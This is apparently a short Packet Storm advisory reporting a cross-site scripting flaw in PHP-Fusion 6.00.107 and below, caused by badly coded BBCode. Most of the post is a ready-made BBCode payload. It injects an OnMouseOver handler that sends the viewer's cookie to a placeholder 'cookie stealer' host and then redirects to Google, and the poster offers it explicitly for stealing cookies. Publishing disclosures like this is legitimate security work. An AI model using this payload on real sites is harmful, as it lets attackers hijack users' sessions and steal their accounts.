PHP-Fusion versions 6.00.107 and below are susceptible to cross site scripting attacks.
899b8a9751b5a4ffdc795c68056c4f44Hello we haved found a vulnerability in PHP-Fusion <=v6.00.107 which allows us to steal cookies. The exploit works because of badly coded bbcode.
Well here is the exploit.
[URL=http://aaaaaa.com/UR[url=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie; location="http://google.com]][/URL][/url]
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!